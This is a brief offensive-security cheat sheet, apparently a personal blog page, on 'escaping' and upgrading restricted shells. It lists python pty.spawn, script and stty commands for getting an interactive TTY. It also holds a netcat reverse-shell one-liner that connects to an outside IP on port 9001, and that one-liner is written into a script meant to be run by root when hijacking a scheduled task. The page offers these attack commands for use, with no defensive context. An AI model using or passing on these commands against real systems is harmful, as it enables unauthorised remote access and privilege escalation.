---
title: "Escaping - Upgrading"
date: 2024-06-25
draft: false
---

```bash
python3 -c "import pty;pty.spawn('/bin/bash')"
```

UPGRADE SHELL
```bash
`/usr/bin/script -qc /bin/bash /dev/null`
```

python2 -c "import pty;pty.spawn('/bin/bash')"

create revshell oneliner (useful when hijacking)
```bash
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f" > /tmp/script-to-be-run-by-root.sh
```

upgrade shell
```bash
script /dev/null -c bash

ctrl+z 

stty raw -echo; fg
```


----
